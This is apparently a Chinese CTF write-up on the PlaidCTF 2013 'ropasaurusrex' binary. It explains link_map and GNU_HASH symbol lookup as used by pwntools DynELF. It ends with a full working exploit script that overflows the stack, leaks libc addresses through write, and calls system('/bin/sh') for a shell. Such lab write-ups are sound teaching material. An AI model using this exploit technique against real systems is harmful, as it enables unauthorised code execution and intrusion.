GNU_HASH确定函数地址

前言:

最近看了以下pwntoos的DynELF方法,对其中是如何获取到函数地址的过程很感兴趣,就研究了一下,对通过DT_GNU_HASH获取函数地址的过程有了比较清晰的了解

漏洞:

我这里使用2013-PlaidCTF进行测试,首先老样子看看对应的反汇编代码

主函数如下,首先进入0804841d方法,然后打印对应的内存数据:

0804841d函数中可以看出存在溢出漏洞,漏洞点也就在这里:

看看保护策略

开启了NX,也就意味着栈中数据没有执行权限,基址重定位和栈保护等都没开启,基本的思路如下:

  • 利用栈溢出首先获取read的函数地址。
  • 利用相对偏移获取system的函数地址。
  • 向bss段写入/bin/sh\x00字符串。
  • 调用system函数。

基础:

想理解DynELF的执行,首先需要对link_map和通过hash表找到函数内存加载地址方法有一定的了解,首先讲下link_map:

link_map是在 Linux 下使用的一个数据结构,用于描述动态链接库(共享库)的加载信息。它在动态链接过程中扮演着重要角色,具体的结构如下:

struct link_map {
    struct link_map *l_next;      // 指向下一个 link_map 结构的指针
    struct link_map *l_prev;      // 指向前一个 link_map 结构的指针
    void *l_addr;                 // 共享库的基地址
    char *l_name;                 // 共享库的名称(路径)
    struct ElfW(Dyn) *l_ld;       // 指向 ELF 动态段的指针
    void *l_real;                 // 实际的共享库地址(可能用于不同的加载器)
    void *l_reserved;             // 保留字段,用于未来扩展
    int l_refcount;               // 引用计数,跟踪库的使用情况
    // 可能还有其他字段,依赖于实现
};

其中我们需要关注的l_next,l_real和l_name三个,首先看看网上找的这个图:

下面我们找一下,首先确定第一个link_map地址位于got.plt的第二位

查看0xf7f7ba30对应 link_map结构:

查询下一个0xf7f40000链内容,可以看到为linux-gate.so,这不是我们要找的,跳过直接进入下一个:

进入下一个link_map:0xf7f40410

这里可以看到libc.so是我们需要找的名称,这样就可以根据real获取基质为:0xf7c00000

可以看到正确:

往后再看一个链,可以看到已经结束,此时next为0,表示结束。

这我们就获取到了对应lib的基址,然后我们需要获取libc.so的DT_GNU_HASH,DT_STRTAB,DT_SYMTAB三个地址,这个需要读取l_ld:0xf7e23d2c

l_ld为指向 ELF 文件的动态段(ElfW(Dyn))的指针,包含共享库的动态信息,如所需的其他库、符号表等

可以直接查看对应的libc的区段,可以看到dynamic地址为00223d2c + 0xf7c00000 = 0xf7e23d2c

正常查看libc.so可以看到 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB对应的标记和偏移

对应可以获取

即对应 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB值

[*] Found DT_GNU_HASH at 0xf7c0466c

[*] Found DT_STRTAB at 0xf7c16c40

[*] Found DT_SYMTAB at 0xf7c09a80

获取到了这三个的地址,下面就要计算其具体的函数地址通过hash,这里读取system的地址,具体的结构图可以参考如下

首先我们看看DT_GNU_HASH结构

struct GnuHash {
    uint32_t nbuckets;   // 桶的数量
    uint32_t symndx;     // 符号表的开始索引
    uint32_t maskbits;    // 掩码位数
    uint32_t shift;       // 用于计算哈希值的位移量
    uint32_t buckets[];   // 桶数组,大小为 nbuckets
    // 后面可能跟着链表和其他数据
};

DT_STRTAB结构如下:

struct Elf32_Dyn {
    int d_tag;               // 动态节标记
    union {
        uint32_t d_val;      // 整数值
        uint32_t d_ptr;      // 指针值
    } d_un;
};

DT_SYMTAB结构如下:

struct Elf32_Dyn {
    int d_tag;               // 动态节标记
    union {
        uint32_t d_val;      // 整数值
        uint32_t d_ptr;      // 指针值
    } d_un;
};

知道了三个的结构,首先我们需要获取桶数组的地址buckets,具体计算方法如下:

buckets = DT_GNU_HASH + sizeof(elf.GNU_HASH) + (elfword * maskwords)

buckets = 0xf7c0466c + 0x10 + (0x00000400 * 4) = 0xF7C0567C

然后需要计算具体的system的hash,计算代码如下:

from pwnlib.util.packing import _need_bytes
def gnu_hash(s):
    """gnu_hash(str) -> int

    Function used to generated GNU-style hashes for strings.
    """
    s = bytearray(_need_bytes(s, 4, 0x80))
    h = 5381
    for c in s:
        h = h * 33 + c
    return h & 0xffffffff
    

print(gnu_hash("system"))

然后将计算的结果和nbuckets进行计算即485418122 % 0x000003f9 = 0x3CB

然后我们需要获取ndx的地址即通过hash计算的数组获取0xF7C0567C + (0x3CB * 4) = 0xF7C065A8下的内容c89,即对应的索引为c89

根据上述获取对应的地址如下

chain = chains + 4 * (ndx - symndx)

chain = 0xF7C06660 + 4 * (0x0c89 - 0x00000014) = 0xF7C09834

然后计算对应的DT_SYMTAB下的地址

sym = DT_SYMTAB + sizeof(DT_SYMTAB) * (ndx + i)

sym = 0xf7c09a80 + 0x10 * (0x0c89) = 0xF7C16310 ->0x3019

然后根据获取的偏移地址可以去DT_STRTAB表中找到对应的名称,两个表相同

name = DT_STRTAB + sym

name = 0xf7c16c40 + 0x3019 = 0xF7C19C59

可以看到0xF7C19C59下为对应的字符串名称system,证明找的地址没错,那么就可以取sym结构中的地址0004dd50为system的偏移地址和机制相加即可获取system的地址

0xf7c00000+0004dd50 = 0xf7c4dd50

通过gun hash计算的方式我们可以获取加载到程序中任意lib的任意函数地址

但是需要远程读取的时候需要注意我们需要能对外打印地址,需要有write或者print等函数进行打印才可以获取到地址,但是当有\00的终止符的时候除write外会有异常终止需要注意

利用:

最后看下利用方式,首先看看溢出点

0xffffcebc-0xffffce30=8c即140个字符就可以溢出返回地址

这里就需要注意了我们需要溢出返回地址到write,传入参数同时我们还要返回到我们的主函数重复执行,这里需要注意针对write的传参是通过栈而不是寄存器,这样我们就可以构造栈来传入参数:

看下对应的esp值,当前地址内容为0x0804842b,然后是三个参数:

然后执行call,call其实相当于两个功能push+jump push压入下一条地址,jump到指定地址,执行完成后地址如下:

调用系统方法传参通过栈,其内部会将栈的参数传入ebx、ecx、edx

所以我们构造就可构造如下poc

'a'*140 + p32(elf.plt['write']) + p32(start_addr) + p32(1) + p32(addr) + p32(8)

我们通过为write构造p32(1) + p32(addr) + p32(8)参数,然后返回start_addr地址,使得程序能正常执行

但是如何执行我们的system,我们可以先执行read,将输入的内容当作参数传入system中

复制代码
ssize_t read(int fd, void *buf, size_t count);  

我们只要给一个能写的地址,首先看看哪些地址可以写,使用vmmap

可以看到0x8049000 0x804a000可以写入,然后查下区段,使用:info files

我们可以写入到bss或data区段,只要可以写入即可

'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8)

由于read使用三个参数,system使用一个参数,当执行完read后进入system会将地址写入p32(0),将p32(elf.bss()+100当作参数传入并执行。

最后的代码如下:

from pwn import *
import codecs

#context.log_level = 'debug'

pro = 'ropasaurusrex'
#p = remote('127.0.0.1', 10001)
p = process(pro)
elf = ELF(pro)
start_addr = 0x8048340

def leak(addr):
    payload = b'a'*140 + p32(elf.plt['write']) + p32(start_addr)
    payload+= p32(1) + p32(addr) + p32(8)
    p.sendline(payload)
    context = p.recv(8)
    hex_encoded_context = codecs.encode(context, 'hex').decode('utf-8')
    print(b"%#x -> %s -> %s" % (addr, hex_encoded_context.encode('utf-8'),context))
    return context

d = DynELF(leak,elf = elf)


system_addr = d.lookup(b'system',b'libc')

gdb.attach(p, 'b *0x8048416')

read_addr = d.lookup(b'read',b'libc')

print("system_addr: " + hex(system_addr))
print("read_addr: " + hex(read_addr))

#0x0804968c
p.sendline(b'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline(b'/bin/sh\x00')

p.interactive()

结束~!

相关推荐
XH华2 小时前
初识C语言之二维数组(下)
c语言·算法
南宫生2 小时前
力扣-图论-17【算法学习day.67】
java·学习·算法·leetcode·图论
不想当程序猿_2 小时前
【蓝桥杯每日一题】求和——前缀和
算法·前缀和·蓝桥杯
落魄君子3 小时前
GA-BP分类-遗传算法(Genetic Algorithm)和反向传播算法(Backpropagation)
算法·分类·数据挖掘
菜鸡中的奋斗鸡→挣扎鸡3 小时前
滑动窗口 + 算法复习
数据结构·算法
Lenyiin3 小时前
第146场双周赛:统计符合条件长度为3的子数组数目、统计异或值为给定值的路径数目、判断网格图能否被切割成块、唯一中间众数子序列 Ⅰ
c++·算法·leetcode·周赛·lenyiin
郭wes代码3 小时前
Cmd命令大全(万字详细版)
python·算法·小程序
scan7243 小时前
LILAC采样算法
人工智能·算法·机器学习
菌菌的快乐生活4 小时前
理解支持向量机
算法·机器学习·支持向量机
大山同学4 小时前
第三章线性判别函数(二)
线性代数·算法·机器学习